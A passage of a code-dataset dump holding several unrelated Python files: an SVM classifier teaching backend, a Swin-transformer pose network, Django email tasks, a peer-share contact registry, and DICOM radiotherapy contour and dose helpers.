((df_new.to_json()), 200)\n\ndef svm_scaling(id, scaleMode):\n df = csv_file[id]\n df_new = df.dropna()\n idx1, idx2 = 2, 3\n X_plot = df_new.iloc[:, 2:].to_numpy()\n\n X = [[x[idx1], x[idx2]] for x in df_new.iloc[:, 2:].to_numpy()]\n y = df_new.iloc[:, 1].to_numpy()\n feature_names = df_new.columns\n #labels = [\"malignant\", \"benign\"] #feature_names[1]\n #cm_labels = [\"malignant\", \"benign\"]\n\n # Map labels from ['M', 'B'] to [0, 1] space\n y = np.where(y=='M', 0, 1)\n\n if scaleMode == \"standardization\":\n # standardization\n X = (X - np.mean(X)) / np.std(X)\n X_plot = (X_plot - np.mean(X_plot, axis=0)) / np.std(X_plot, axis=0)\n elif scaleMode == \"normalization\":\n # normalization\n X = (X - np.min(X)) / (np.max(X) - np.min(X))\n X_plot = (X_plot - np.min(X_plot, axis=0)) / (np.max(X_plot, axis=0) - np.min(X_plot, axis=0))\n # error catching logic required here\n\n # remap labels\n for i in range(len(y)):\n if y[i] == 0: y[i] = 1\n else: y[i] = -1\n return (X, y, feature_names, X_plot)\n\ndef svm_get_label_mapping(i):\n labels = [\"malignant\", \"benign\"] #feature_names[1]\n # Map between labels to help in visualizing them later\n if i == 1:\n return labels[0]\n else:\n return \"Not \" + labels[0]\n\ndef svm_scatter_plot(id, scaleMode):\n (_, y, feature_names, X_plot) = svm_scaling(id, scaleMode)\n x_index, y_index = 2, 3\n formatter = plt.FuncFormatter(lambda i, *args: svm_get_label_mapping(int(i)))\n plt.clf()\n plt.figure(figsize=(8, 6))\n plt.scatter(X_plot[:, x_index], X_plot[:, y_index], c=y)\n plt.colorbar(ticks=[1, -1], format=formatter)\n plt.xlabel(feature_names[x_index])\n plt.ylabel(feature_names[y_index])\n\n imgScatter = svm_img_to_base64(plt)\n return (json.dumps({'imgScatter': imgScatter}), 200)\n \n\"\"\"# Visualize the Train and Test Data Split\"\"\"\ndef svm_train_test_split(id, test_size, scaleMode):\n (X, y, _, _) = svm_scaling(id, scaleMode)\n # Import train_test_split function\n if test_size is not None:\n test_size = float(test_size)\n else:\n test_size = test_size\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size)\n return (X_train, X_test, y_train, y_test)\n\ndef svm_train_test_method(X_data, Y_data, id, scaleMode):\n x_index, y_index = 2, 3\n (_, _, feature_names, _) = svm_scaling(id, scaleMode)\n formatter = plt.FuncFormatter(lambda i, *args: svm_get_label_mapping(int(i)))\n plt.scatter(np.array(X_data)[:, 0], np.array(X_data)[:, 1], c=Y_data)\n plt.colorbar(ticks=[1, -1], format=formatter)\n plt.xlabel(feature_names[x_index])\n plt.ylabel(feature_names[y_index])\n\n\ndef svm_train_test_plot(id, test_size, scaleMode):\n if test_size is not None:\n test_size = float(test_size)\n else:\n test_size = test_size\n\n (X_train, X_test, y_train, y_test) = svm_train_test_split(id, test_size, scaleMode)\n plt.clf()\n plt.figure(figsize=(14, 4))\n plt.subplot(121)\n svm_train_test_method(X_train, y_train, id, scaleMode)\n\n plt.subplot(122)\n svm_train_test_method(X_test, y_test, id, scaleMode)\n\n trainTestImg = svm_img_to_base64(plt)\n\n return (json.dumps({'trainTestImg': trainTestImg}), 200)\n\n\"\"\"# Train the Model\"\"\"\n\n#Import svm model\n#Create a svm Classifier\n# Hyperparameters can be changed/tuned based on the compile and fit function arguments defined at -\n# https://scikit-learn.org/stable/modules/generated/sklearn.svm.SVC.html\n\ndef svm_modelTrain(id, test_size, scaleMode):\n if test_size is not None:\n test_size = float(test_size)\n else:\n test_size = test_size\n\n (X_train, X_test, y_train, _) = svm_train_test_split(id, test_size, scaleMode)\n clf = svm.SVC(kernel='linear', C= 10) # Linear Kernel\n #Train the model using the training sets\n clf.fit(X_train, y_train)\n\n \"\"\"# Predict the Model on Test data\"\"\"\n\n #Predict the response for test dataset\n y_pred = clf.predict(X_test)\n return (y_pred, clf)\n\n\"\"\"# Visualize the Solution\"\"\"\ndef svm_solution(id, test_size, scaleMode):\n x_index = 2\n y_index = 3\n if test_size is not None:\n test_size = float(test_size)\n else:\n test_size = test_size\n\n (_, clf) = svm_modelTrain(id, test_size, scaleMode)\n (_, y, feature_names, X_plot) = svm_scaling(id, scaleMode)\n plt.clf()\n plt.figure(figsize=(8, 6))\n formatter = plt.FuncFormatter(lambda i, *args: svm_get_label_mapping(int(i)))\n plt.scatter(X_plot[:, x_index], X_plot[:, y_index], c=y)\n plt.colorbar(ticks=[1, -1], format=formatter)\n plt.xlabel(feature_names[x_index])\n plt.ylabel(feature_names[y_index])\n\n ax = plt.gca()\n xlim = ax.get_xlim()\n ylim = ax.get_ylim()\n\n # create grid to evaluate model\n xx = np.linspace(xlim[0], xlim[1], 30)\n yy = np.linspace(ylim[0], ylim[1], 30)\n YY, XX = np.meshgrid(yy, xx)\n xy = np.vstack([XX.ravel(), YY.ravel()]).T\n Z = clf.decision_function(xy).reshape(XX.shape)\n\n # plot decision boundary and margins\n ax.contour(XX, YY, Z, colors='k', levels=[-1, 0, 1], alpha=0.5,\n linestyles=['--', '-', '--'])\n # plot support vectors\n ax.scatter(clf.support_vectors_[:, 0], clf.support_vectors_[:, 1], s=100,\n linewidth=1, facecolors='none', edgecolors='k')\n solutionImg = svm_img_to_base64(plt)\n\n return (json.dumps({'solutionImg': solutionImg}), 200)\n\n\"\"\"# Plot Confusion Matrix\"\"\"\ndef svm_confusion_matrix_method(cm, classes, normalize=False, title='Confusion matrix', cmap=plt.cm.Blues):\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n plt.clf()\n figure(figsize=(10, 8), dpi=80)\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt), horizontalalignment=\"center\", color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n return (svm_img_to_base64(plt))\n\ndef svm_confusion_matrix(id, test_size, scaleMode):\n if test_size is not None:\n test_size = float(test_size)\n else:\n test_size = test_size\n\n (_, _, _, y_test) = svm_train_test_split(id, test_size, scaleMode)\n (y_pred, _) = svm_modelTrain(id, test_size, scaleMode)\n cm = confusion_matrix(y_test, y_pred)\n cm_labels = [\"malignant\", \"benign\"]\n confMatrix = svm_confusion_matrix_method(cm, cm_labels) \n\n return (json.dumps({'confMatrix': confMatrix}), 200)\n\n\"\"\"# Evaluate the Model on Test Data\"\"\"\ndef svm_evaluation(id, test_size, scaleMode):\n if test_size is not None:\n test_size = float(test_size)\n else:\n test_size = test_size\n (_, _, _, y_test) = svm_train_test_split(id, test_size, scaleMode)\n (y_pred, _) = svm_modelTrain(id, test_size, scaleMode)\n # Model Accuracy: how often is the classifier correct?\n modelAccuracy = str(metrics.accuracy_score(y_test, y_pred))\n # Model Precision: what percentage of positive tuples are labeled as such?\n modelPrecision = str(metrics.precision_score(y_test, y_pred))\n # Model Recall: what percentage of positive tuples are labelled as such?\n modelRecall = str(metrics.recall_score(y_test, y_pred))\n return (json.dumps({'Model Accuracy:': modelAccuracy, 'Model Precision:': modelPrecision, 'Model Recall:': modelRecall}), 200)\n\ndef svm_img_to_base64(plt):\n chart = BytesIO()\n plt.savefig(chart, format = 'png')\n chart.seek(0)\n output_chart = base64.b64encode(chart.getvalue())\n return str(output_chart, 'utf-8')","repo_name":"akdasUAF/ML_Education_GUI","sub_path":"mlt-backend/svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":8487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"70324793340","text":"from swin_transformer import SwinTransformer \n\nimport torch \nimport torch.nn as nn \nimport torch.nn.functional as F \n\nimport TorchSUL.Model as M \nimport numpy as np \nimport config \n\nclass FPN(M.Model):\n\tdef initialize(self, chn, num_scales):\n\t\tself.convs = nn.ModuleList()\n\t\tfor _ in range(num_scales):\n\t\t\tself.convs.append(M.ConvLayer(3, chn))\n\t\tself.final_conv = M.ConvLayer(3, chn)\n\n\tdef forward(self, *fmaps):\n\t\t# xs is a list from resolution low to high\n\t\tassert len(fmaps)==len(self.convs)\n\t\tres = None\n\t\tfor c,fmap in zip(self.convs, fmaps):\n\t\t\tif res is None:\n\t\t\t\tres = c(fmap)\n\t\t\telse:\n\t\t\t\tx = F.interpolate(res, fmap.shape[-2:], mode='nearest')\n\t\t\t\tres = x + c(fmap)\n\t\tres = self.final_conv(res)\n\t\treturn res \n\nclass DepthToSpace(M.Model):\n\tdef initialize(self, block_size):\n\t\tself.block_size = block_size\n\tdef forward(self, x):\n\t\tbsize, chn, h, w = x.shape[0], x.shape[1], x.shape[2], x.shape[3]\n\t\tassert chn%(self.block_size**2)==0, 'DepthToSpace: Channel must be divided by square(block_size)'\n\t\tx = x.view(bsize, -1, self.block_size, self.block_size, h, w)\n\t\tx = x.permute(0,1,4,2,5,3)\n\t\tx = x.reshape(bsize, -1, h*self.block_size, w*self.block_size)\n\t\treturn x \n\nclass UpSample(M.Model):\n\tdef initialize(self, upsample_layers, upsample_chn):\n\t\tself.prevlayers = nn.ModuleList()\n\t\t#self.uplayer = M.DeConvLayer(3, upsample_chn, stride=2, activation=M.PARAM_PRELU, batch_norm=True, usebias=False)\n\t\tself.uplayer = M.ConvLayer(3, upsample_chn*4, activation=M.PARAM_PRELU, usebias=False)\n\t\tself.d2s = DepthToSpace(2)\n\t\tself.postlayers = nn.ModuleList()\n\t\tfor i in range(upsample_layers):\n\t\t\tself.prevlayers.append(M.ConvLayer(3, upsample_chn, activation=M.PARAM_PRELU, batch_norm=True, usebias=False))\n\t\tfor i in range(upsample_layers):\n\t\t\tself.postlayers.append(M.ConvLayer(3, upsample_chn, activation=M.PARAM_PRELU, batch_norm=True, usebias=False))\n\tdef forward(self, x):\n\t\tfor p in self.prevlayers:\n\t\t\tx = p(x)\n\t\tx = self.uplayer(x)\n\t\tx = self.d2s(x)\n\t\t# print('UPUP', x.shape)\n\t\tfor p in self.postlayers:\n\t\t\tx = p(x)\n\t\treturn x \n\nclass SWinNet(M.Model):\n\tdef initialize(self):\n\t\tself.backbone = SwinTransformer()\n\t\tself.fpn = FPN(64, 4)\n\t\tself.upsample = UpSample(1, 32)\n\t\tself.final_conv = M.ConvLayer(1, config.num_pts)\n\n\tdef forward(self, x):\n\t\tfmaps = self.backbone.forward_fmaps(x)\n\t\tfmap = self.fpn(*fmaps)\n\t\tfmap = self.upsample(fmap)\n\t\tout = self.final_conv(fmap)\n\t\treturn out\n\nif __name__=='__main__':\n\tnet = SWinNet()\n\t\n\tx = torch.zeros(1, 3, 384, 384)\n\ty = net(x)\n\tprint(y.shape)\n","repo_name":"ddddwee1/TorchSUL","sub_path":"example/Transformer_vision/2dpose/swin_2dpose/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"23"} +{"seq_id":"42104886557","text":"from celery import shared_task\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.mail import EmailMessage\nfrom django.template.loader import render_to_string\n\n\n@shared_task(name=\"send_mail_confirm_order\")\ndef send_mail_confirm_order(order, request):\n subject = \"Your order is confirmed\"\n current_site = get_current_site(request)\n message = render_to_string(\n \"mail/order_status_update.html\",\n {\n \"domain\": current_site.domain,\n \"total_price\": order.total_price,\n \"items\": order.items,\n },\n )\n send_email = EmailMessage(\n subject,\n message,\n settings.EMAIL_HOST_USER,\n [request.user.email],\n )\n try:\n if send_email.send():\n messages.success(request, \"Mail with your order details has been sent successfully\")\n except Exception as error:\n print(\"Failed to send mail: \", error)\n\n\n@shared_task(name=\"send_email_order_to_admin\")\ndef send_mail_order_to_admin(order):\n subject = \"Новый заказ\"\n message = render_to_string(\n \"mail/order_to_admin.html\",\n {\"items\": order.items, \"total_price\": order.total_price, \"user\": order.user},\n )\n send_email = EmailMessage(\n subject,\n message,\n settings.EMAIL_HOST_USER,\n [settings.EMAIL_ADMIN],\n )\n try:\n send_email.send()\n except Exception as error:\n print(\"Failed to send mail: \", error)\n","repo_name":"FireFading/django_coffee_shops","sub_path":"app/orders/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"3417381796","text":"from threading import Lock\n\nfrom . import logger\n\nfrom .helpers import is_valid_ipv6_address\nfrom .helpers import is_valid_ipv4_address\n\n\nclass ContactShares:\n \"\"\"\n this class holds all the discovered UserShares\n \"\"\"\n\n def __init__(self):\n \"\"\"\n this class holds all the discovered UserShares\n\n basically it works as a wrapper around a dict with the following structure:\n\n self.dict = {\n 'user@server': {\n 'resource': {\n \"ip_v4\": [],\n \"ip_v6\": [],\n \"port\": 0\n \"shares\": {\n 'some_hash': {\n 'hash': 'some_hash',\n 'name': '',\n 'size': 0,\n 'files': []\n }\n }\n }\n }\n }\n \"\"\"\n self.dict = {} # StoredDict('user_cache.json', autocommit=True)\n self.lock = Lock()\n\n def get_user(self, jid):\n \"\"\"\n get user dict\n\n :param jid:\n :return: dictionary with all data for user with jid\n \"\"\"\n jid = str(jid)\n if not self.dict.get(jid, {}):\n self.dict[jid] = {}\n user = self.dict.get(jid, {})\n return user\n\n def get_resource(self, jid, resource):\n \"\"\"\n get resource dict of user with JID jid\n\n :param jid:\n :param resource:\n :return:\n \"\"\"\n jid = str(jid)\n user = self.get_user(jid)\n if not user.get(resource, False):\n user[resource] = {'ip_v4': [],\n 'ip_v6': [],\n 'shares': {}\n }\n return user.get(resource)\n\n def add_address(self, jid, resource, address, port):\n \"\"\"\n add Address and Port to Resource resource of jid\n\n :param jid:\n :param resource:\n :param address:\n :param port:\n :return:\n \"\"\"\n res = self.get_resource(jid, resource)\n if is_valid_ipv4_address(address):\n res['ip_v4'].append((address, port))\n elif is_valid_ipv6_address(address):\n res['ip_v6'].append((address, port))\n else:\n logger.error('invalid address: %s' % address)\n\n def get_ipv4_addresses(self, jid, resource):\n \"\"\"\n return all IPv4 Addresses of JIDs Resource resource\n\n :param jid:\n :param resource:\n :return: list of IPv4 Addresses\n \"\"\"\n res = self.get_resource(jid, resource)\n return res.get('ip_v4', [])\n\n def get_ipv6_addresses(self, jid, resource):\n \"\"\"\n return all IPv6 Addresses of JIDs Resource resource\n\n :param jid:\n :param resource:\n :return:\n \"\"\"\n res = self.get_resource(jid, resource)\n return res.get('ip_v6', [])\n\n def clear_addresses(self, jid, resource):\n \"\"\"\n clear Addresses of JIDs Resource\n\n :param jid:\n :param resource:\n :return:\n \"\"\"\n res = self.get_resource(jid, resource)\n res['ip_v4'] = []\n res['ip_v6'] = []\n\n def clear_shares(self, jid, resource):\n \"\"\"\n clear Shares of JIDs Resource\n\n :param jid:\n :param resource:\n :return:\n \"\"\"\n res = self.get_resource(jid, resource)\n res['shares'] = {}\n\n def clear(self, jid, resource=None):\n \"\"\"\n clear whole User with JID jid.\n If resource != None, clear resource of the JID\n\n :param jid:\n :param resource:\n :return:\n \"\"\"\n jid = str(jid)\n if resource == None:\n self.dict[jid] = {}\n else:\n self.clear_addresses(jid, resource)\n self.clear_shares(jid, resource)\n\n\n def add_share(self, jid, resource, hash, name='', size=0, files=None):\n \"\"\"\n Add a Share to a JIDs Resource\n\n :param jid:\n :param resource:\n :param hash: SHA1 Hash\n :type hash: str\n :param name: name of the share\n :type name: str\n :param size: size of the share in bytes\n :type size: int\n :param files: list of files in the Share\n :type files: list of str\n :return:\n \"\"\"\n res = self.get_resource(jid, resource)\n res['shares'][hash] = {}\n res['shares'][hash]['name'] = name\n res['shares'][hash]['size'] = size\n res['shares'][hash]['files'] = files\n res['shares'][hash]['hash'] = hash\n\n def add_share_by_info(self, jid, resource, info):\n \"\"\"\n add a share by torrent info\n\n :param jid:\n :param resource:\n :param info: dict from torrent_handles.get_shares()\n :return:\n \"\"\"\n self.add_share(jid, resource, info.get('hash'), info.get('name', ''), info.get('total_size', 0))\n\n def __iter__(self):\n with self.lock:\n for x, y in self.dict:\n yield x, y\n\n def __getitem__(self, item):\n with self.lock:\n return self.dict[item]\n\n def __setitem__(self, key, value):\n with self.lock:\n self.dict[key] = value\n\n def __delitem__(self, key):\n with self.lock:\n del self.dict[key]\n\n @property\n def hashes(self):\n \"\"\"\n returns a dict with all hashes and a list of ip_port tuples for each hash\n\n :return:\n \"\"\"\n h = {}\n for user in self.dict.keys():\n logger.debug(user)\n for resource in self.dict[user].keys():\n logger.debug(resource)\n for share in self.dict[user][resource]['shares']:\n logger.debug(share)\n hash = self.dict[user][resource]['shares'][share]['hash']\n if not h.get(hash, False):\n h[hash] = []\n for (address, port) in self.dict[user][resource]['ip_v4'] + self.dict[user][resource]['ip_v6']:\n address_tuple = (address, port)\n if address_tuple not in h[hash]:\n h[hash].append(\n (address, port))\n\n return h\n","repo_name":"puhoy/bitween","sub_path":"bitween/components/models/contact_shares.py","file_name":"contact_shares.py","file_ext":"py","file_size_in_byte":6276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"16573176413","text":"import numpy as np\nimport pydicom\nimport os\nfrom rtdsm.helpers import PolygonArea\n\ndef contourdata_from_dicom(ROI_Name, RS_filepath):\n \"\"\"\n Extracts the raw contour vertex data of a specified ROI from a RS-DICOM file.\n\n Parameters\n ----------\n ROI_Name : str\n The name of the ROI (region of interest) to retrive contour data for.\n RS_filepath : str\n The path to the RS-DICOM file.\n\n Returns\n -------\n contour : numpy.ndarray\n An array of the raw contour vertex data of the ROI. See Notes for \n details.\n\n See Also\n --------\n get_pointcloud : Returns formatted contour point data and slice \n centroids.\n\n Notes\n ------\n Contour data is returned in the same format it is stored in the Dicom. This \n is in the form of n 1D arrays, where n is the number of closed polygonal \n slices that comprise the contour. The points that comprise each slice are\n given in the 1D arrays as a sequence of (x,y,z) triplets in the Patient-\n Based Coordinate System.\n\n If the ROI name given does not exist in the Dicom file, the function\n returns the list of ROIs in the file and raises an exception.\n \"\"\"\n #STEP1: Open the Dicom file and check if the requested ROI is present\n rs = pydicom.read_file(RS_filepath)\n ROI_index,ROIlist = None,[]\n for index, item in enumerate(rs.StructureSetROISequence):\n ROIlist.append(item.ROIName)\n if item.ROIName == ROI_Name:\n ROI_index = index\n break\n if ROI_index == None:\n raise Exception('An ROI with the name specified does not exist in the Dicom file. The available structures are:\\n',ROIlist)\n #STEP2: Get all contour points from RS file (organized as: [[x0-N, y0-N, z0-N][x0-N, y0-N, z0-N]] )\n contour = []\n for item in rs.ROIContourSequence[ROI_index].ContourSequence:\n contour.append(item.ContourData)\n return np.array(contour)\n\ndef get_pointcloud(ROI_Name, RS_filepath, excludeMultiPolygons=True):\n \"\"\"\n Creates a formatted array of an ROI's vertex data in addition to an array of\n slice centroids using a Dicom RTStruct file as input.\n\n Parameters\n ----------\n ROI_Name : str\n The name of the ROI (region of interest) to retrive contour data for.\n RS_filepath : str\n The path to the RS-DICOM file.\n excludeMultiPolygons : bool, optional\n Flag to indicate if multiple closed polygonal regions on the same slice\n of the reference image are kept or not (primarily used to exclude points\n that define holes in the center of the main contour polygon). Defaults\n to True. If True, only the points comprising the largest contour on a\n slice are added to the output array.\n\n Returns\n -------\n contour : numpy.ndarray\n Array of the ROI's vertex data, formatted into a list of coordinate \n points (M x 3).\n CoMList : numpy.ndarray\n Array of the centroid coordinates for each slice of the ROI (M x 3).\n\n Notes\n -------\n Because of how the function get_cubemarch_surface() handles pointcloud data,\n the user must explictly specify how to handle multiple closed polygons on the\n same axial slice of the image used for contouring. Failure to do this will \n result in them being combined into one continous polygon. By default, only\n the largest polygons are kept per slice. If inclusion of multiple polygons\n is specified to be allowed by the user, a coordinate of np.nan values will\n be added to the output arrays to differentiate the additional polygons from\n the rest of the structure.\n \"\"\"\n #Function updated April 2023 by HP to better account for the following situations:\n #- Cases where the contours are not drawn on axial image slices\n #- Cases where DICOM pointcloud data is not provided in ascending Z order\n # (as has been observed for contours provided by MIMvista)\n #STEP 1: get the raw mesh data\n mesh = contourdata_from_dicom(ROI_Name, RS_filepath)\n #STEP2: prep output data arrays\n xdata, ydata, zdata = [], [], []\n Ztracking = [[],[],[]] #used to check for duplicate Z (axial) indices\n CoMList = []\n extrax, extray, extraz = [], [], [] #holds point data for extra polygons per slice\n extraCOM = []\n nonAxialSlices = False #flag to indicate if structure slices are not aligned with image slices\n #STEP3: begin adding data\n for plane in mesh:\n #get points for point cloud\n xvals = (plane[0::3])\n yvals = (plane[1::3])\n zvals = (plane[2::3])\n #STEP3A: Check if structure slices are aligned with axial imaging plane\n #If not aligned, rtdsm will report how unaligned the slices are and\n #will align the slice at its average Z location\n if len(list(set(zvals))) > 1 and nonAxialSlices==False:\n print('WARNING: Slice is angled away from axial image plane')\n zmax = min(zvals)\n zmin = max(zvals)\n indmin = zvals.index(zmin)\n indmax = zvals.index(zmax)\n p1,p2 = np.array([xvals[indmin],yvals[indmin],zmin]),np.array([xvals[indmax],yvals[indmax],zmax])\n h = np.linalg.norm(p1-p2)\n o = zmax - zmin\n angle = math.degrees(math.asin(o/h))\n print('angle:',angle,'degrees')\n nonAxialSlices = True\n if nonAxialSlices == True:\n #use the average Z position instead of the actual Z values\n zval = round(sum(zvals)/len(zvals),2)\n zvals = [zval] * len(zvals)\n else:\n zval = plane[2]\n #STEP3B: Get the slice's polygon and calculate its area and CoM\n points = np.array([plane[0::3],plane[1::3]]).T\n area, COM = rtdsm.PolygonArea(points[:,0],points[:,1]), list(np.append(points.mean(axis=0),[zval]))\n #STEP3C: Check for other slices at the same Z location. If another slice\n #does exist, the largest will be kept and the smaller will be saved\n #to a secondary array that is added at the end of the pointcloud array\n #after a buffer of NaN data\n #NOTE: this is done to accomadate the method used to create the\n #the surface mesh of the contour\n if zval in Ztracking[0] and area > Ztracking[1][Ztracking[0].index(zval)]:\n #The prexisting slice is smaller. Replace with the new one\n extraCOM.append(CoMList[Ztracking[0].index(zval)]) #swap and update the COMs\n CoMList[Ztracking[0].index(zval)] = COM\n Ztracking[1][Ztracking[0].index(zval)] = area #update the area in the tracking\n Ztracking[2][Ztracking[0].index(zval)] += 1\n #move the smaller polygon points to the extra arrays\n oldindex = zdata.index(zvals[0])\n if Ztracking[2][Ztracking[0].index(zval)] > 2:\n extrax.append(np.nan) #done to seperate two polygons on the same slice\n extray.append(np.nan)\n extraz.append(np.nan)\n extrax.extend(xdata[oldindex:])\n extray.extend(ydata[oldindex:])\n extraz.extend(zdata[oldindex:])\n #replace the old pointcloud ones with new\n xdata, ydata, zdata = xdata[:oldindex], ydata[:oldindex], zdata[:oldindex]\n xdata.extend(xvals)\n ydata.extend(yvals)\n zdata.extend(zvals)\n elif zval in Ztracking[0]:\n #The prexisting slice is larger. Add the new one to the extra array\n Ztracking[2][Ztracking[0].index(zval)] += 1\n extraCOM.append(COM)\n if Ztracking[2][Ztracking[0].index(zval)] > 2:\n extrax.append(np.nan) #done to seperate two polygons on the same slice\n extray.append(np.nan)\n extraz.append(np.nan)\n extrax.extend(xvals)\n extray.extend(yvals)\n extraz.extend(zvals)\n else:\n #No other polygon exists on the slice, proceed normally\n Ztracking[0].append(zval)\n Ztracking[1].append(area)\n Ztracking[2].append(1)\n CoMList.append(COM)\n xdata.extend(xvals)\n ydata.extend(yvals)\n zdata.extend(zvals)\n #STEP 4: Final cleanup of the data\n #STEP4A: If excludeMultiPolygons FALSE, append extra arrays to the normal ones\n if excludeMultiPolygons == False and len(extraz)>0:\n if zdata[-1] == extraz[0]:\n xdata.append(np.nan) #add a row of nan data if needed to prevent\n ydata.append(np.nan) #point data for two polygons on the same slice\n zdata.append(np.nan) #being confused as a single polygon\n xdata.extend(extrax)\n ydata.extend(extray)\n zdata.extend(extraz)\n CoMList.extend(extraCOM)\n #STEP4B: Ensure CoM data is presented in ascending Z position order\n CoMList = np.asarray(CoMList)\n if (CoMList[0,2] > CoMList[-1,2]):\n CoMList = np.flipud(CoMList)\n extraCOM = np.flipud(extraCOM)\n #the pointcloud data does not need to be switched as get_cubemarch_surface()\n #will do it automatically \n #STEP5: Return the pointcloud and CoM data\n contour = np.array([xdata,ydata,zdata]).T\n return contour, CoMList\n\ndef get_doseinfo(RD_filepath):\n \"\"\"\n Extracts the dose grid and axes of that dose grid from a DICOM RD file.\n\n Parameters\n ----------\n RD_folderpath : str\n The path to the DICOM RT dose file.\n\n Returns\n -------\n dosegrid : numpy.ndarray\n A 3D array of RT dose values in the units specified in the file.\n xpos,ypos,zpos : numpy.ndarray\n 1D arrays specifying the locations of voxel centers in each dimension \n (x,y,z). Required to interpolate dose to a given point.\n\n Notes\n -------\n The indices of the output dosegrid m,n,p are defined such that m = Z, n = Y,\n and p = X ( M[m,n,p] => M[z,y,z] ). Other functions in the package that use\n the dosegrid as input take this into account.\n \"\"\"\n ds = pydicom.read_file(RD_filepath)\n #STEP1: get the dose grid\n dosegrid= ds.pixel_array*ds.DoseGridScaling #dose grid converted to proper dose units\n #STEP2: make positional arrays that will be used to lookup dose values when creating DSMs\n #each array monotonically increases from the top corner of the grid (imgpospat) \n #with steps equal to the grid resolution (pixelspacing)\n xpos = np.arange(ds.Columns)*ds.PixelSpacing[0]+ds.ImagePositionPatient[0]\n ypos = np.arange(ds.Rows)*ds.PixelSpacing[1]+ds.ImagePositionPatient[1]\n zpos = np.asarray(ds.GridFrameOffsetVector) + ds.ImagePositionPatient[2]\n return dosegrid, xpos,ypos,zpos\n\ndef summarize_dicoms(folderpath):\n \"\"\"\n Summarizes key data contained in RT Dose, RT Plan, RT Structure Set, or CT \n Image DICOM files within a given folder that may be relevant to DSM creation.\n\n Parameters\n ----------\n folderpath : str\n The path to a directory containing the dicom files from a single\n radiotherapy treatment plan (or other clinical scenario).\n\n Returns\n -------\n Dict : dict \n Dictionary of all data extracted from files found in the folder:\n - 'CT_res': The resolution of the CT file.\n - 'CT_kvp': The tube voltage used to take the CT image.\n - 'CT_mA': The tube current used to take the CT image.\n - 'CT_orient': The patient orientation used in the CT image.\n - 'RS_ROIs': The list of ROIs included in the RT Structure file.\n - 'RP_name': The name of the RT Plan.\n - 'RP_intent': The clinical intent of the RT Plan.\n - 'RP_presc': The prescription dose (in Gy) of the RT Plan.\n - 'RP_nfrac': The planned number of fractions of the RT Plan.\n - 'RD_res': The resolution (in mm) of the dose matrix of the RT Dose file.\n - 'RD_units': The dose units of the dose matrix of the RT Dose file.\n - 'RD_doseType': The type of dose calculated in the RT Dose file.\n - 'RD_sumType': The type of dose summation of the RT Dose file.\n\n Notes\n -------\n The variables returned are just a small sampling of the data contained within\n DICOM files. To extract more data from Dicom files read up on the pydicom\n package and consult the DICOM Standard.\n\n \"\"\"\n #STEP1: Identify a file of each type in the folder (None if none of the type)\n Allfiles = os.listdir(folderpath)\n CT_file = next((s for s in Allfiles if 'CT.' in s), None)\n RS_file = next((s for s in Allfiles if 'RS.' in s), None)\n RP_file = next((s for s in Allfiles if 'RP.' in s), None) \n RD_file = next((s for s in Allfiles if 'RD.' in s), None)\n MR_file = next((s for s in Allfiles if 'MR.' in s), None) #TODO: Test and add display for MR files\n\n Dict = {}\n #STEP2: Retrieve CT information\n if CT_file != None:\n ds = pydicom.read_file(folderpath+CT_file)\n imgres = list(ds.PixelSpacing)\n imgres.append(ds.SliceThickness)\n imgres = [float(i) for i in imgres]\n kvp = float(ds.KVP)\n mA = float(ds.XRayTubeCurrent)\n ptort = str(ds.PatientPosition)\n print('=== CT Image Details =======\\nVoxel Resolution:',imgres,'mm\\nKVP:',kvp,'mA:',\n mA,'\\nPatient Positioning:',ptort)\n Dict['CT_res'],Dict['CT_kvp'],Dict['CT_mA'],Dict['CT_orient'] = imgres,kvp,mA,ptort\n if RS_file != None:\n ds = pydicom.read_file(folderpath+RS_file)\n ROIlist = []\n for index, item in enumerate(ds.StructureSetROISequence):\n ROIlist.append(str(item.ROIName))\n print('=== RT Structure Details =======\\nROIs Included:',ROIlist)\n Dict['RS_ROIs'] = ROIlist\n if RP_file != None:\n ds = pydicom.read_file(folderpath+RP_file) \n plnname = str(ds.RTPlanLabel)\n plnintent = str(ds.PlanIntent)\n prscdose = float(ds.DoseReferenceSequence[0].TargetPrescriptionDose)\n nfrac = float(ds.FractionGroupSequence[0].NumberOfFractionsPlanned)\n print('=== RT Plan Details =======\\nPlan Name:',plnname,'\\nPlan Intent:',plnintent,\n '\\nPrescription Dose:',prscdose,'Gy in',nfrac,'fractions')\n Dict['RP_name'],Dict['RP_intent'],Dict['RP_presc'],Dict['RP_nfrac'] = plnname,plnintent,prscdose,nfrac\n if RD_file != None:\n ds = pydicom.read_file(folderpath+RD_file) \n doseres = list(ds.PixelSpacing)\n doseres = [float(i) for i in doseres]\n gf = ds.GridFrameOffsetVector[0:2]\n doseres.append(float(gf[1])-float(gf[0]))\n doseunits = str(ds.DoseUnits)\n dosetype = str(ds.DoseType)\n dosesum = str(ds.DoseSummationType)\n print('=== RT Dose Details =======\\nDose Grid Resolution:',doseres,'mm\\nDose Units:',doseunits,\n '\\nDose Summation Type:',dosetype,dosesum)\n Dict['RD_res'],Dict['RD_units'],Dict['RD_doseType'],Dict['RD_sumType'] = doseres,doseunits,dosetype,dosesum\n ## NEED TO GET AN MR FILE AND ADD AN MR SECTION TOO\n\n return 